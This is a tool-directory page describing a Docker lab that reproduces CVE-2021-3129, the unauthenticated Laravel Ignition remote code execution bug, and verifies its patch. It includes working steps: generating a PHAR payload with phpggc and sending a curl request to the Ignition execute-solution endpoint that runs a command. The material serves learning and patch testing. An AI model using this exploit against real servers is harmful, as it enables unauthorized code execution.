Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-3129 — Docker-based reproduction and patch verification lab for CVE-2021-3129, the unauthenticated Laravel Ignition RCE, including PHAR payload generation and exploit scripts. | Kitploit
Tools/GitHubGitHub/cchiaravalentini/cve-2021-3129
Container SecurityPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & EducationLabs & Practice
GitHubcchiaravalentini/cve-2021-3129

CVE-2021-3129

Docker-based reproduction and patch verification lab for CVE-2021-3129, the unauthenticated Laravel Ignition RCE, including PHAR payload generation and exploit scripts.

Sep 30, 2026Not yet reviewed
Share
View Repository

CVE-2021-3129 — Laravel Ignition Remote Code Execution

Overview

This repository contains the reproduction environment and documentation for CVE-2021-3129, a critical Remote Code Execution vulnerability in Laravel's Ignition debug package (versions < 2.5.2).

CVE: CVE-2021-3129 CVSS Score: 9.8 (Critical) Affected software: facade/ignition < 2.5.2, Laravel < 8.4.3 Vulnerability type: Unauthenticated Remote Code Execution Discovered by: Ambionics Security (January 2021)


Repository Structure

CVE-2021-3129/ ├── docker/ │ ├── docker-compose.yml # Vulnerable environment (port 8000) │ └── docker-compose-patched.yml # Patched environment (port 8001) ├── exploit/ │ ├── phpggc/ # PHAR payload generator │ ├── CVE-2021-3129_exploit/ # Exploit script │ └── laravel-exploits/ # Ambionics exploit scripts ├── screenshots/ # Step-by-step documentation ├── diary.md # Work log └── README.md # This file


Requirements

  • Docker Desktop
  • Docker Compose
  • Apple Silicon (M1/M2/M3): the compose files already include platform: linux/amd64 for MySQL 5.7 compatibility. No changes needed.
  • Intel/AMD (Windows/Linux/Mac): remove the platform: linux/amd64 line from both compose files before running.

Reproduce the Vulnerability

Step 1 — Start the vulnerable environment

cd docker
docker compose up -d

The vulnerable Laravel application (Ignition 2.5.1) will be available at http://localhost:8000

Step 2 — Copy phpggc into the container

docker cp exploit/phpggc docker-app-1:/tmp/phpggc

Step 3 — Enter the container and generate the payload

docker exec -it docker-app-1 bash
php -d phar.readonly=0 /tmp/phpggc/phpggc Monolog/RCE1 system id \
  --phar phar -o /tmp/exploit.phar

Step 4 — Execute the exploit

curl -s http://localhost/_ignition/execute-solution \
  -H 'Content-Type: application/json' \
  -d '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{"variableName":"username",
"viewFile":"phar:///tmp/exploit.phar/test.txt"}}'

Expected output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)


Reproduce the Fix

Step 1 — Start the patched environment

cd docker
docker compose -f docker-compose-patched.yml up -d

The patched application will be available at http://localhost:8001

Step 2 — Update Ignition to 2.5.2

docker exec -it docker-app-1 bash
composer self-update --2
composer require facade/ignition:2.5.2

Step 3 — Run the same exploit

Repeat Steps 2-4 from above against http://localhost:8001

Expected output: none — the exploit is blocked by the patch.


References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-3129
  • Ambionics writeup: https://www.ambionics.io/blog/laravel-debug-rce
  • phpggc: https://github.com/ambionics/phpggc
  • Ignition patch: https://github.com/facade/ignition/releases/tag/2.5.2
  • CISA advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Download Tool

Related Tools

  • trivy

    Find vulnerabilities, misconfigurations, secrets, SBOM in containers, Kubernetes, code repositories, clouds and more

  • grype

    A vulnerability scanner for container images and filesystems

  • syft

    CLI tool and library for generating a Software Bill of Materials from container images and filesystems

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI Catcher platform that deploys a rogue GSM cell to intercept SMS, inject messages and track mobile devices

    721
  • 4

    opencti

    opencti-platform/opencti

    Open Cyber Threat Intelligence Platform

    535
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    424
  • 6

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    419

Explore all tools

Browse our collection of tools

View all tools →